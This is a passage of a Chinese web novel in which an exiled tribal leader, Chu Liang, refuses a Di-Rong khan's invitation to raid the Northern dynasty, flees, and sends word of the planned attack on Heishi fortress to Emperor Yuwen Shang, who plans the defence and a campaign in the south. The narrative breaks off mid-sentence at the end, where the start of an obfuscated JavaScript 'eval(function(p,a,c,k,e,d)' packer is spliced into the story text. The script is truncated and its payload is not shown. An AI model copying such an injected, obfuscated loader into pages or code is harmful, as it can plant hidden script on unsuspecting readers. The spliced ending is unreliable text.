“阿爹,你看!水又小了!比上个月我来的时候,水面又下去了一指!”褚昭指着不远处一处山坳里的小小泉眼,声音清脆带着忧虑,显得比同龄孩子早慧很多。 褚良驱马靠近。 那眼曾经汩汩流淌、滋养着附近一小片绿意的清泉,如今只剩下碗口粗细的一股细流,孱弱地渗入下方浑浊的小水洼。水洼边缘,裸露着大片被晒得发白龟裂的泥土。 “嗯,旱得太久了。” 褚良的声音低沉,目光扫过四周明显稀疏枯黄的草场。 这片隐蔽的谷地,背靠北朝边关的崇山峻岭,前有复杂地形阻隔狄戎大部,是云泽部得以喘息八年的宝贵家园。 然而今年这场席卷草原的大旱,让这最后的庇护所也变得岌岌可危。狄戎各部因灾情困顿,劫掠成性,像一群被饥饿逼疯的鬣狗。 他们不敢轻易触碰北朝坚固的边关,却将贪婪的目光投向了像云泽部这样弱小、却又占据着相对较好草场和水源的“肥肉”。 部族里多是当年被狄戎打败、驱逐的老弱妇孺,纵有褚良和陈锋这些年倾力教导,训练出一些青壮,战斗力也远无法与凶悍的狄戎骑兵抗衡。 守成尚且艰难,若狄戎真的大举来犯…褚良眉头紧锁。 褚昭跳下马,蹲在水洼边,小手拨弄着浑浊的水面,稚嫩的小脸上满是担忧,“阿爹,要是水没了,我们的羊怎么办?族里的娃娃们怎么办?还有陈锋叔叔晒的那些药草,也要水…” 褚良也下了马,走到儿子身边,大手按在他小小的肩膀上,传递着无声的力量。 “会有办法的,昭昭。” 他声音沉稳,目光却投向谷口的方向,那里是连接外部世界的唯一通道,此刻平静,却仿佛随时会涌来毁灭的风暴。 就在这时,一阵急促的马蹄声由远及近。一名部族青年策马飞奔而来,脸上带着紧张和异样。 “乌其乐首领!” 青年在褚良面前勒马,翻身而下,喘息着递上一卷用粗糙皮绳捆扎的羊皮卷, “阿史那部派人送来了这个!说是…王帐大会的邀函!指名要首领您亲自赴会!” 褚良接过羊皮卷,入手粗糙沉重。 他解开皮绳,缓缓展开。羊皮上用朱砂和炭灰混合的颜料,画着一个狰狞的狼头图腾,下面是一行歪歪扭扭、却透着浓浓胁迫之意的狄戎文字。 王帐大会?在这旱灾肆虐、剑拔弩张的时节? 褚良的目光瞬间变得锐利如鹰,捏着羊皮卷的手指微微收紧。 一股山雨欲来的沉重气息,无声地弥漫在这片干渴的谷地之上。 21. 第 21 章 云泽谷地的风,带着沙砾和枯草的气息,刮在脸上生疼。褚良捏着那张沉重的羊皮卷,指尖感受着粗糙皮革下隐含的威胁。王帐大会的邀函?在这滴水贵如油、各部为生存已眼红发疯的时节?阿史那铎冽绝非善类,此去,无异于羊入虎口。 “阿良!”陈锋的声音带着急促的喘息,显然是刚得到消息就赶了过来。他翻身下马,几步冲到褚良面前,目光扫过那张展开的、带着狰狞狼头的羊皮卷,脸色瞬间变得异常难看,“这…这是鸿门宴!铎冽那厮,定是看准了今年旱情,想借机吞并我们,或是逼我们当马前卒去冲击北朝边关!不能去!” 褚良沉默着,目光依旧停留在那行充满胁迫意味的狄戎文字上。他何尝不知这是陷阱?铎冽此人,野心勃勃,凶残成性,这场所谓的“大会”,恐怕就是为云泽部准备的火坑。 “陈叔,阿爹为什么不能去?”褚昭仰着小脸,墨紫色的眼眸里充满了不解和担忧,他虽早慧,却还无法完全理解成人世界的诡谲与血腥。 褚良收起羊皮卷,动作缓慢而坚定。他蹲下身,平视着儿子的眼睛,大手抚过孩子柔软的、带着墨紫色光泽的发顶。 “昭昭,有些路,即使知道危险,为了守护想守护的东西,也必须要走。” 他的声音低沉而平静,带着一种坚定的力量,“阿爹是首领,族人的安危,系于阿爹一身。狄戎势大,我们避无可避。与其坐等他们打上门,不如主动去看看,他们到底想耍什么花样。” “可是…”陈锋还想再劝,看到褚良眼中那份磐石般的决绝,又把话咽了回去。他太了解褚良了,一旦决定了承担,便是九死无悔。 “锋哥,”褚良站起身,目光投向谷地深处那些简陋的毡帐和忙碌的族人,“我不在时,谷地就交给你了。紧闭谷口,加强警戒,尤其是夜哨。若有…万一,带昭昭和族人,往北朝黑石堡方向撤。守将张铎,早年与我有些香火情,或许…能收留一时。” 这是他最后的退路,也是最大的赌注。投靠北朝,意味着彻底暴露在宇文尚的视线之下,后果难料。但为了昭昭和族人的一线生机… 陈锋心头一紧,用力点头,“放心!只要我陈锋还有一口气在,定护昭昭和族人周全!” 次日,褚良只带了四名最精悍、最忠诚的部族勇士,策马离开了云泽谷地,朝着阿史那部王庭所在的、位于草原深处的一片水草相对丰美的河谷地带驰去。 越往北,旱情带来的荒凉感便越发触目惊心。曾经丰茂的草场如今只剩下贴着地皮的枯黄草根,裸露的沙地在烈日下反射着刺眼的白光。河流大多干涸,只剩下蜿蜒曲折的河床,龟裂的淤泥散发着死寂的气息。偶尔能看到倒毙在路边的牛羊骸骨,被秃鹫和野狼啃食得只剩下森森白骨。空气中弥漫着尘土、腐臭和一种令人窒息的绝望。 沿途遇到的零星狄戎牧民,个个面黄肌瘦,眼神麻木而凶狠,看到褚良一行装备尚可的陌生人,眼中毫不掩饰地流露出贪婪与敌意。若非褚良几人气势剽悍,马快刀利,恐怕早已遭遇劫掠。 跋涉了两天一夜,终于在第二日黄昏时分,抵达了阿史那王帐的所在地。 那是一片依着干涸河床搭建的巨大营地,成百上千的皮帐如同灰色的蘑菇散落在河谷两岸,中心处矗立着一顶极其巨大、用黑色牦牛毡和华丽皮毛装饰的王帐,顶端飘扬着阿史那部的狼头大纛。营地里人喊马嘶,篝火处处,喧嚣异常,空气中混合着马粪、汗臭和劣质马奶酒的浓烈气味。 然而,这喧嚣背后,却透着一股穷途末路的疯狂。 篝火上烤着的牛羊大多瘦骨嶙峋,分食的人群眼神像饿狼。许多皮帐破旧不堪,修补的痕迹比比皆是。营地外围,随处可见面有菜色的妇孺和眼神阴鸷、无所事事的青壮。 褚良一行人的到来,立刻引起了营地的骚动。无数道或好奇、或贪婪、或赤裸裸充满恶意的目光聚焦在他们身上。负责引路的狄戎士兵趾高气扬,将褚良带到了那顶巨大的王帐前。 “云泽部首领,褚良到!”士兵用狄戎语高声通报。 沉重的皮帘被掀开,一股混杂着浓郁肉香、酒气和汗臭的热浪扑面而来。帐内空间极大,地上铺着厚厚的、但已磨损褪色的地毯。中央燃烧着巨大的火塘,火焰噼啪作响,映照着帐内影影绰绰的人影。两侧坐着数十名狄戎各部的头领和贵族,大多身形彪悍,面色不善。 主位上,铺着完整的狼皮,阿史那铎冽大马金刀地坐着,他比几年前更显粗壮,脸上的刀疤在火光下更显狰狞。他身旁,一身火红狄戎盛装的阿史那云珠,正用那双野性未驯的眼睛,牢牢盯着走进来的褚良,眼神里充满了审视和好奇。 褚良目不斜视,步伐沉稳地走到火塘前站定,微微颔首:“云泽部褚良,应阿史那王召,前来赴会。”他声音不高,却清晰地穿透了帐内的喧嚣,带着不卑不亢的沉静。 帐内瞬间安静下来,所有的目光都聚焦在这个孤身踏入狼穴的汉人首领身上。有轻蔑,有审视,更有毫不掩饰的敌意。 “哈哈哈!”铎冽发出一阵洪亮却毫无温度的大笑,震得帐顶的灰尘簌簌落下,“乌其乐首领!好胆色!果然守信!”他端起面前镶嵌着宝石的金碗,里面盛满了浑浊的马奶酒,朝褚良示意了一下,“先喝一碗!暖暖身子!草原的规矩,进了王帐,就是朋友!” 一个侍从端着盛满马奶酒的木碗走到褚良面前。那酒液浑浊,气味刺鼻。褚良知道,这酒若喝了,便等于落了下风,承认了对方的“规矩”。 他并未接碗,目光平静地迎向铎冽:“阿史那王,酒可稍后再饮。乌其乐此来,是想听听王召集群雄,共商何事?我云泽部小门小户,只想在这旱灾之年,求得一方活命之地。” 褚良的直接让铎冽脸上的笑容一滞,随即化作更深的阴沉。他放下金碗,身体微微前倾,那双如同鹰隼般的眼睛紧紧锁住褚良,带着巨大的压迫感:“好!乌其乐首领快人快语!那本王也不绕弯子了!” 他猛地一拍铺着狼皮的座椅扶手,声音陡然拔高,充满了煽动性的狂热:“这贼老天!不给我们草原人活路!水干了!草枯了!牛羊成片地死!再这样下去,我们所有人,包括你褚首领的云泽部,都得饿死在这片黄沙里!” 帐内响起一片压抑的附和声和咒骂声,群情激愤。 铎冽猛地站起身,指着南方,声音如同咆哮:“但是!看看南边!宇文尚那个狗皇帝,他治下的北朝,粮仓堆满了吃不完的粮食!布库里塞满了穿不完的绸缎!他们的边城,富得流油!而我们!”他环视帐内,声音带着刻骨的恨意,“我们的勇士在挨饿!我们的女人孩子在哭泣!这公平吗?!” “不公平!”帐内顿时响起一片狂热的怒吼。 铎冽满意地看着被煽动起来的情绪,目光再次如毒钩般钉在褚良身上:“乌其乐首领!你是汉人,但你带着一群被部落抛弃的可怜人在草原活了下来,你有本事!本王敬你是条汉子!但现在,不是守着那一小块破山谷等死的时候了!跟着本王!加入我们的大军!抢他娘的!” 他张开双臂,仿佛要拥抱整个南方:“打破他们的边关!抢光他们的粮食!烧掉他们的房子!让他们的男人当奴隶,女人当牛羊!用他们的血和肉,喂饱我们草原的勇士!用他们的金银财宝,填满我们的帐篷!只有这样,我们才能活下去!你云泽部,才能活下去!” 赤裸裸的劫掠宣言,如同野兽的嘶吼,在巨大的王帐内回荡。所有的目光都死死盯着褚良,等待着他的回答。 阿史那云珠更是嘴角噙着一丝快意的笑容,等待着这个俊朗的汉人首领屈服。 褚良站在狂热的风暴中心,身形依旧笔直如松。火光在他沉静的脸上跳跃,映不出半分波澜。他缓缓抬起眼,目光扫过铎冽那张因贪婪和暴戾而扭曲的脸,扫过帐内那些被煽动得双眼赤红的狄戎首领,最后,落回铎冽身上。 帐内死寂一片,连火焰燃烧的噼啪声都清晰可闻。 褚良开口了,声音不高,却带着一种深思熟虑的审慎:“阿史那王雄心壮志,褚良佩服。”他没有直接回应铎冽的狂言,而是将话题引向更实际的方向,“只是,我云泽部人丁单薄,皆为老弱妇孺,能战者寥寥。即便有心追随王的大业,又能为王做些什么?事成之后,我部又能得到什么?” 他的眼神平静,仿佛真的在权衡利弊。 铎冽眼中精光一闪,以为褚良意动,立刻豪迈地一挥手,“哈哈哈!乌其乐首领果然是明白人!你放心!本王不需要你的人去冲锋陷阵!你们熟悉北朝边关地形,又有汉人身份作掩护!只需在关键时刻,为本王大军指引路径,提供些边关布防的消息即可!至于好处?” 他贪婪地舔了舔嘴唇,指向南方,“只要进了北朝的地盘,金银珠宝,绫罗绸缎,车马牛羊!你看上什么,尽管抢!能抢多少带走多少!本王绝不干涉!你云泽部抢到的,就是你们自己的!” 怕褚良不信,铎冽目光一转,落在一旁的云珠身上,脸上堆起一种近乎谄媚的笑容,“而且!本王看褚首领一表人才,气度不凡,与我草原男儿大不相同!我这妹妹云珠,可是对你倾慕已久啊!不如今夜,就让云珠入住你的营帐,成就好事!待我们凯旋归来,本王亲自为你们主婚!从此,你就是我阿史那部的驸马!云泽部与我阿史那部,就是一家人了!” 阿史那云珠闻言,脸上飞起两朵红云,眼神大胆而炽热地看向褚良,带着毫不掩饰的欢喜,向前迈了一步。 褚良心头警铃大作!他强压下翻涌的厌恶,微微侧身,避开了云珠过于直接的视线,对着铎冽拱手,语气带着明显的疏离,“阿史那王美意,褚良心领。只是,按照我中原汉家的规矩,婚姻大事,需三书六礼,明媒正娶,方为夫妇。未行大礼之前,男女不可同处一室,更不可有肌肤之亲。此乃祖宗礼法,不敢违背。”他顿了顿,语气转为诚恳,“王的大计,关乎我云泽部上下几百口性命,褚良需回去细细思量,与部族商议。恳请王允我暂回营地安歇,明日一早,定来王帐,给王一个明确答复!” 铎冽脸上的笑容瞬间僵住,眼神变得阴鸷起来。褚良这番滴水不漏的推脱,既抬出了“祖宗礼法”让他难以强逼,又给了他一个“商议”的台阶,让他一时找不到发作的理由。 他盯着褚良看了半晌,那平静无波的眼神让他有些捉摸不透。最终,他冷哼一声,带着浓浓的威胁意味:“哼!乌其乐首领,规矩是死的,人是活的!你最好想清楚!是跟着本王吃肉,还是…等着本王的大军,踏平你那小小的山谷!本王耐心有限,明日一早,若是没有满意的答复…” 他眼中寒光一闪,未尽之意,不言而喻。 “我明白。”褚良不卑不亢地躬身,“告退。”说完,不再看铎冽和云珠,带着四名勇士,在众多或审视或嘲讽的目光中,沉稳地退出了喧嚣而充满杀机的王帐。 回到狄戎士兵给他们安排的、位于营地边缘的一个简陋小帐篷里,四名勇士立刻围了上来,压低声音急问,“首领!怎么办?那铎冽狼子野心,分明是要我们当替死鬼啊!难道真要答应他?” 褚良迅速扫视了一眼帐外,确认无人偷听,立刻压低声音,“答应?那是死路!收拾东西,我们趁夜色溜走!” “可是…外面守卫…” 一名勇士面露忧色。 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云珠被褚良严肃的语气和话语中描绘的可怕景象震住了,脸上的骄横褪去,露出一丝茫然和恐惧,“…真…真的会那么糟吗?哥哥他…他说能带我们过上好日子…” “用别人的血泪换来的‘好日子’,能长久吗?”褚良直视着她的眼睛,语气沉痛,“姑娘,你值得更好的归宿,而不是被你兄长当作笼络人心的工具,更不该卷入这场注定惨烈的祸事。趁现在,劝劝你兄长,或者…保护好自己。” 云珠呆呆地看着褚良,火光映照着他俊朗而沉静的脸庞,那双深邃的眼睛里没有轻视,只有真诚的劝诫和一丝她看不懂的…悲悯?她心中那点因被拒绝而生的愤怒和委屈,忽然被一种更复杂的情愫取代了。 这个汉人首领,和她见过的所有男人都不一样。 “你…你们现在就要走?”她环顾四周,洞察情势,眼神复杂的低声问, “是。留下来,明日便是死局。”褚良坦然道。 云珠咬了咬下唇,眼中闪过一丝挣扎,最终化为决断,“…跟我来!”她猛地转身,掀开帐篷后壁一处不起眼的缝隙,“从这边走!绕过马圈后面,有一条小路通往后山,守卫很少!快!” 褚良眼中闪过一丝惊讶和感激,不再犹豫,对云珠郑重抱拳,“姑娘大恩,褚良铭记!” 他迅速从腰间箭囊中抽出一支特制的羽箭,箭簇打磨得异常锋利,箭头上刻着一个微小的云纹标记。他将箭递给云珠。 “此箭为凭!日后姑娘若遇险情,可持此箭到云泽谷地寻我!我乌其乐和云泽部上下,必倾力相助!” 云珠接过那枚冰冷的箭头,紧紧攥在手心,用力点了点头。 不再耽搁,褚良带着四名勇士,借着帐篷和夜色的掩护,迅速钻出缝隙,按照云珠指引的方向,悄无声息地融入了黑暗之中。 与此同时,南境,临安行宫。 这里曾是江南最繁华的所在,如今却笼罩在一片奢靡而颓败的气氛中。宫灯昏暗,丝竹靡靡,空气中弥漫着酒气和脂粉的甜腻。小皇帝斜倚在铺着厚厚锦缎的软榻上,面色苍白,眼神涣散,手中无意识地摩挲着一只玉杯。他比八年前更加消瘦,眉宇间积压着浓重的阴郁和挥之不去的颓废。 几名身着华服、却难掩奸佞之气的重臣跪在下方,为首的正是当朝宰相宇文惠。他手中捧着一份密函,声音带着刻意的激动和蛊惑。 “陛下!天赐良机!天赐良机啊!北境阿史那部大王铎冽遣密使来报!他们已联络草原各部,秣马厉兵,只待我南军率先发动,攻击宇文尚那逆贼的南线!狄戎大军便会即刻南下,南北夹击!宇文尚顾此失彼,必败无疑!陛下!此乃收复故都、一雪前耻、中兴我朝之绝佳时机啊!” “陛下!”另一名武将也激动地叩首,“此番,我军占据地利人和!只要陛下圣旨一下,将士们必当奋勇向前!何况有狄戎铁骑相助,定能一举荡平宇文逆贼!陛下!机不可失啊!” “陛下…” “陛下!请下旨吧!” 群臣纷纷附和,声音在空旷的大殿里回荡,充满了急切的鼓噪。 小皇帝宇文钰的身体微微颤抖起来。他猛地灌了一口酒,试图压下心头的恐惧,声音带着明显的颤抖,“北朝兵强马壮…宇文尚…他…” 那个名字仿佛带着无形的威压,让他呼吸都变得困难。 八年前那场血腥宫变的阴影,如同跗骨之蛆,从未散去。 “陛下!”宇文惠膝行两步,声音陡然拔高,带着一种逼迫的意味,“宇文尚倒行逆施,篡位夺权,致使陛下流离失所!此仇不共戴天!如今我朝养精蓄锐八年,又有强援在外,正是报仇雪恨、光复社稷之时!陛下若再犹豫,坐失良机,待宇文尚缓过气来,或是狄戎各部因旱灾自行溃散…那我等君臣,便再无翻身之日,只能在这江南一隅,坐等…坐等那逆贼的屠刀啊陛下!” 他最后一句,已是声泪俱下,充满了亡国的悲怆。 “屠刀…”宇文钰手中的玉杯“哐当”一声掉在地上,摔得粉碎。他脸色惨白如纸,身体不受控制的发抖。群臣的话语,宇文惠的逼迫,狄戎的“强援”,都抵不过对宇文尚深入骨髓的恐惧 。但他更怕…怕失去现在这偏安一隅的“安稳”,怕真的沦为阶下囚,生不如死!宇文惠说的没错,这可能是…最后的机会了?或者说,是最后一场豪赌? 巨大的恐惧和一丝被逼到绝境的疯狂在他眼中交织。他猛地抬起头,眼中布满血丝,声音尖利而颤抖, “拟…拟旨!命江陵、襄阳守将即刻整军…北伐!给朕…打!” 22. 第 22 章 北朝京城,军机处 深秋的晨光透过高窗,洒在巨大的北境沙盘上,却驱不散殿内凝重的气氛。兵部尚书赵崇手持一份刚刚送达、墨迹犹新的军报,脸上带着难以置信的振奋,声音因激动而微微发颤: “陛下!南线大捷!南线首战告捷!” 殿内所有将领和重臣的目光瞬间聚焦过来。 赵崇深吸一口气,朗声念道:“滨水关守将急报!南伪帝宇文钰下旨渡江不过一日,其襄阳先锋韩世忠部万余众,猛攻我滨水城!然守军早有准备,依托坚城,以强弓劲弩、火油擂石御敌!激战半日,南军死伤枕籍,士气崩溃!我军将士乘胜追击,反守为攻,一日追击数十里,直逼南朝边境重镇江津。江津城内百姓久慕王化,见南军势颓,竟有义民奋起,击杀监军,打开城门!我军将士趁势掩杀,韩世忠仅率数百残兵仓惶弃城而逃!其部被歼、被俘者逾八千!军械辎重尽弃!江津大捷!” “好!” “痛快!” “南军果然不堪一击!” 殿内顿时响起一片压抑不住的叫好声和振奋的低语。一日之内,歼敌近万,收复江津重镇,这简直是梦幻般的开局! 然而,端坐主位的宇文尚,脸上却无半分喜色。他深邃的紫眸紧紧盯着沙盘上代表江津的位置,又缓缓移向更南方的襄阳、江陵,眉头反而锁得更紧。手指无意识地在紫檀扶手上敲击着,发出沉闷而规律的“笃笃”声。 “陛下?”赵崇敏锐地察觉到了皇帝的异样,兴奋之情稍敛。 宇文尚抬起头,目光扫过众臣,声音平静却带着洞穿人心的力量:“一日歼敌万余,收复江津…捷报固然可喜。但,”他话锋一转,语气陡然变得冷冽,“南军之弱,竟至于斯?弱到…让朕觉得有些…离谱了。” 众臣闻言,皆是一怔。胜利的喜悦被皇帝这盆冷水一浇,顿时清醒了几分。 宇文尚站起身,走到沙盘前,指尖划过长江沿线:“宇文钰懦弱无能不假,但宇文惠老奸巨猾,南军再废弛,也不该如此一触即溃,连一日都撑不住,甚至出现百姓倒戈献城之事!事出反常必有妖!” 他猛地转身,目光如电射向兵部尚书赵崇:“赵卿,你说,这像不像…一个精心布置的诱饵?” 赵崇浑身一震,瞬间明白了皇帝的担忧,冷汗“唰”地一下就从额角冒了出来:“陛下的意思是…南边是佯攻?是故意示弱,甚至不惜牺牲一部,诱使我大军南下深入江南腹地?而他们真正的杀招…在北边?!”他越想越心惊,“一旦我军主力被吸引南下,北境空虚,狄戎铁骑趁势南下,以狄戎骑兵之迅疾,摧枯拉朽,我边关守军恐难抵挡!届时再想从南线调兵回援,千里迢迢,疲于奔命,只怕…只怕…” “只怕来不及了!”宇文尚冷冷地接上他的话,眼中寒光闪烁,“好一个宇文惠!好一个铎冽!用江南一座无关紧要的城池和几千条命,就想换朕的北境万里河山?打得一手好算盘!” 殿内一片死寂。刚才的振奋被巨大的危机感取代。皇帝的分析如同拨云见日,瞬间点破了看似大捷背后隐藏的致命陷阱! “陛下英明!”赵崇心悦诚服,同时也感到一阵后怕,“那…南线是否停止进攻,固守江北?” “不!”宇文尚断然否决,他重新坐回主位,手指在扶手上重重一点,“南线,不但要打,还要稳稳地打下去!” “传旨:南线各军,停止冒进!依托现有战线,稳固刚打下来的江津等地。攻占一地,便立即推行‘均田令’、‘减赋令’,开仓放粮,赈济流民,严惩趁机作乱的南廷旧吏和豪强!务必在最短时间内,收拢民心,让新附之地的百姓,感受到我北朝新政之仁!让他们知道,谁才是真正能给他们活路的人!” 他目光灼灼,语气斩钉截铁:“给朕记住!在江南,朕要的是人心,是根基!不是一城一地的虚名!且战且养,步步为营!没有朕的明确旨意,任何将领不得贪功冒进,擅自深入江南腹地!违令者,军法从事!” “臣遵旨!”赵崇肃然领命,心中对皇帝的深谋远虑佩服不已。这是阳谋!用实实在在的好处,瓦解南方的根基,同时避免落入诱敌深入的陷阱。 “北境呢?”宇文尚的目光转向镇北将军蒙毅,这才是他此刻最关切的方向,“狄戎动向如何?” 蒙毅上前一步,脸色凝重:“回陛下!黑石堡、鹰愁涧等处守军日夜监视。然狄戎各部自王帐大会后,行踪异常诡秘。斥候回报,其主力似有集结迹象,但分散于数处水草之地,飘忽不定,难以判断其主攻方向。我军若分散布防,恐兵力单薄,反被其集中力量各个击破!若集结重兵于一点,又恐判断失误,门户洞开…且,大军调动集结,亦需时日,若狄戎突然发动,恐…措手不及。” 蒙毅的忧虑溢于言表,北境防线漫长,敌人动向不明,这是最令人头疼的局面。最关键的,是如果能提前获知狄戎的准确进攻时间和目标! 宇文尚眉头紧锁,盯着沙盘上代表广袤草原和狄戎活动区域的黄色地带,如同盯着一个巨大的、充满未知杀机的漩涡。 情报!他现在最需要的就是精准的情报! 就在这令人窒息的沉默时刻,殿外再次传来急促的脚步声和通传: “报——!北境黑石堡,八百里加急密报!” 一名风尘仆仆的信兵被引入,单膝跪地,双手高举一份密封的、看似普通的羊皮卷筒。 赵崇上前接过,先检查了火漆封印无误,这才小心地打开,抽出里面的密信。他目光快速扫过信笺上的内容,脸上的凝重瞬间被一种巨大的惊愕和难以置信的狂喜所取代!他猛地抬头看向宇文尚,声音因激动而有些变调: “陛下!天佑我朝!天佑我朝啊!黑石堡守将的情报来得太是时候了!” 他几乎是冲到御案前,双手将那份薄薄的信笺呈给宇文尚,眼中闪烁着兴奋的光芒,“有了它!北境危局,或可迎刃而解!” 宇文尚眼中精光一闪,接过信笺,迅速展开。 两日前,云泽部。 夜色如墨,寒风似刀。 褚良带着四名勇士,如同搏命的孤狼,在崎岖的荒野上亡命奔驰。战马口鼻喷着浓重的白气,汗水浸透了皮毛,步伐已然踉跄。从阿史那王庭到云泽谷地,正常需要两天一夜的路程,他们硬是靠着透支马力和意志,在一天一夜的疯狂疾驰后,看到了谷地那熟悉而亲切的轮廓。 “到了!首领!我们到了!”一名勇士声音嘶哑,带着劫后余生的狂喜。 然而,当褚良看到谷口紧闭的木栅和栅栏后陈锋那焦虑张望的身影时,心头却没有丝毫放松。他猛地一夹马腹,早已疲惫不堪的战马发出一声悲鸣,奋力冲向谷口。 “快!开侧门!”陈锋看清是褚良,立刻嘶声下令。 五人冲入谷内,褚良□□的战马再也支撑不住,前腿一软,轰然倒地,口吐白沫,抽搐几下便不再动弹。褚良狼狈地滚落在地,被陈锋和族人七手八脚扶起。 “阿良!你怎么样?”陈锋看着褚良苍白疲惫的脸和染满尘土的衣袍,焦急万分。 “我没事!马…可惜了。”褚良喘息着,目光迅速扫过闻讯围拢、面带惊恐的族人,声音带着不容置疑的紧迫,“铎冽七日后联合南边,大举进犯北朝!目标…是北朝囤积粮草军械的重镇——黑石堡!我假意应承,借机脱身,已被视为叛逆!追兵随时会到!我们必须立刻撤离!” “黑石堡?!”陈锋倒吸一口凉气,那正是他们计划投奔的方向! “对!但我们现在不能去黑石堡了!那里即将成为战场!”褚良语速飞快,“收拾东西!粮食、衣物、药品优先!老人孩子上车!我们…往南走!” “往南?”族人们愣住了。黑石堡是战场,就在南边,怎么他们还要往南? “对!反其道而行之!”褚良眼中闪烁着决绝的光芒,“铎冽以为我们会往北逃,远离战场!我们偏要往南,但不屈黑石堡,我们要去宇文尚的秋狄围场附近,那里是我…长大的地方,山高林密,水草丰美,狄戎大队难以展开!我们靠游猎,也能撑过这段最危险的时间!” 这个计划大胆而冒险,但眼下似乎也是唯一的生路。陈锋立刻明白了褚良的意图,不再犹豫:“都听到了吗?!按首领说的做!快!往南!进山!” 谷地瞬间陷入一片紧张而有序的忙碌。哭泣声、催促声、打包声、牲畜的嘶鸣交织在一起。褚良顾不上休息,亲自指挥着青壮套车、装载物资。 就在族人们紧张准备之时,褚良站在谷口,望着南方北朝的方向,眉头紧锁,眼神中充满了挣扎。 陈锋安排好一队青壮先行探路,走过来看到褚良的神情,心中了然。他低声问:“阿良…你是在想…黑石堡?” 褚良沉重地点了点头,声音干涩:“几日后…黑石堡…那是北朝囤积粮草军械的重镇,一旦被狄戎攻破劫掠…不仅守军遭殃,方圆百里的百姓…恐怕也难逃狄戎铁蹄的蹂躏…” 他攥紧了拳头,指节发白。对宇文尚的恨意深入骨髓,可那些无辜的百姓…那些和他云泽部族人一样,只想求一条活路的苍生…他仿佛已经看到了烽烟四起,尸横遍野的景象。 “你想把消息…送出去?”陈锋的声音很轻,却像重锤敲在褚良心上。 褚良猛地抬头看向陈锋,眼神复杂:“我…我恨宇文尚入骨!可是…锋哥,那是数万,甚至数十万条人命啊!他们…何辜?” 陈锋看着褚良眼中深切的痛苦和挣扎,心中叹息。他拍了拍褚良的肩膀,语气沉稳而坚定:“阿良,恨是一回事,大义是另一回事。宇文尚有罪,但北朝的百姓是无辜的。黑石堡若失,生灵涂炭,非你我之愿。传递此讯,非为宇文尚,是为天下苍生!” 他顿了顿,目光深远:“况且…云泽部欲在夹缝中求生,或许…与北朝的关系,还不至于走到山穷水尽、必须你死我活的地步。送出这份情报,也许…是给族人留一条后路,也是给你自己留一个问心无愧。” “问心无愧…”褚良喃喃重复着这四个字,眼中激烈的挣扎渐渐平息,取而代之的是一种沉重的决断。他望向南方,仿佛能穿透重重山峦,看到那座即将面临血火的黑石堡。 “好!”褚良深吸一口气,眼神变得锐利而清明,“锋哥,取笔墨和一张小羊皮来,我给黑石堡守将张铎去信!” 军机处内的空气仿佛凝固了,所有人的目光都聚焦在宇文尚手中的那张薄薄信笺上。皇帝深邃的紫眸扫过上面清晰列出的信息:阿史那铎冽联合南朝,七日后主攻目标——黑石堡!集结兵力、进攻路线、甚至部分参与部落的名称都赫然在列! 宇文尚猛地抬眼,锐利的目光射向兵部尚书赵崇:“情报来源是否可信?” 赵崇强压激动,语速极快:“回禀陛下!此密报由黑石堡守将张铎亲笔所书!情报来源,正是张铎在奏报中提及的‘云泽部’首领!此人汉名未知,草原皆称其狄戎名‘乌其乐’。据张铎言,数年前他巡边遇险,为流矢所伤坠马,幸得这位云泽部首领率部众相救,藏匿于其部中养伤数日方脱险。后来,首领的幼子突发急症,命悬一线,张铎得知后,请了边城一位擅治小儿急症的名医前去救治,才保住了那孩子的性命。两人因此结下深厚情谊。” 他顿了顿,继续道:“这张铎还特意说明,云泽部非同一般狄戎部落。其首领乌其乐收容的,多是草原各部战争中被抛弃的老弱妇孺,在草原以仁厚著称。此次王帐大会,阿史那铎冽威逼利诱各部随其南下劫掠,唯独这云泽部首领,据闻当场婉拒了铎冽的提议,甚至不惜得罪这位草原枭雄,连夜冒险逃离王庭,足见其心志!故而,张铎断言,此情报绝无虚假,乃乌其乐首领冒死送出,意在警示我朝,免使北境生灵涂炭!” 宇文尚听着,指腹无意识地摩挲着奏报的边缘,眼神幽深难测。一个收容老弱、仁厚、且敢于拒绝铎冽、与北朝边将交好的汉人首领…… “云泽部……乌其乐……”他低声重复着这两个名字,心中念头急转。 狄戎各部若被平定,广袤草原确需一股亲善朝廷的力量来稳定局面,成为藩篱。这个云泽部,首领是汉人,又如此行事,倒是……一个极其合适的选择。扶持他,远比扶持那些桀骜难驯的狄戎大部要稳妥得多。 这个念头在他心中一闪而过,迅速生根。但这只是他内心深处的帝王权衡,并未宣之于口。 “好!”宇文尚霍然起身,声音斩钉截铁,带着不容置疑的决断,“传旨:北境全线进入最高戒备!命镇北将军蒙毅,即刻率精锐骑兵三万,火速驰援黑石堡!令黑石堡周边所有堡寨、烽燧,枕戈待旦!所有囤积于黑石堡的粮草军械,立刻转移至预设秘库!按此情报所示狄戎进攻路线,于其必经之隘口、河谷,预设伏兵、陷阱!朕要让他们一头撞进铁壁铜墙!” 他手指重重地点在沙盘上黑石堡的位置,眼中寒光四射。 “臣遵旨!”赵崇与蒙毅齐声领命,精神大振,有了如此精准的情报,此战的主动权已牢牢握在手中! 北线战事迫在眉睫,南线的捷报则如同雪片般飞来,却带着一丝诡异的顺畅。 继江津大捷后,在江津休整的北军,兵锋未动,邻近两座城池竟主动来降! 一城守将开城献印,另一城的百姓不堪南廷苛政,自发暴动,杀了监军和守将,大开城门迎接王师! 北军入城,百姓箪食壶浆,夹道欢呼,其情其景,令前线将领振奋的同时,也觉不可思议。 消息传回军机处,宇文尚脸上并无多少喜色,只有更深的了然。他立刻颁下严旨:“南线诸军,原地休整,稳固新得之地!前方乃襄阳重镇,据险难攻,务必谨慎,围而不打宜为上策!给朕在襄阳城外扎稳营盘,深沟高垒!” “至于襄阳城内,”宇文尚的目光仿佛穿透了千里之遥,“给朕玩一出‘四面楚歌’!让那两个新投诚城池的官吏、百姓,特别是与襄阳城内有亲眷者,轮番到城下喊话!告诉他们新政的好处,告诉他们亲人在北朝过得如何安稳!动摇其军心民心!” “同时,”他嘴角勾起一丝冷酷的弧度,“攻城器械架起来!不分昼夜,往城墙、城门上砸!不用真的大举进攻,但要让他们时时刻刻悬着心,睡不了安稳觉!朕倒要看看,断了周边粮草供应,又被日夜袭扰、人心浮动,襄阳城里的那些人,能熬上多久!”他要的不仅是城池,更是襄阳城内的人心,以及整个南朝根基的彻底崩塌。 军机处内众臣听旨后,无不感佩,然宇文尚话锋一转, “北方,战事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 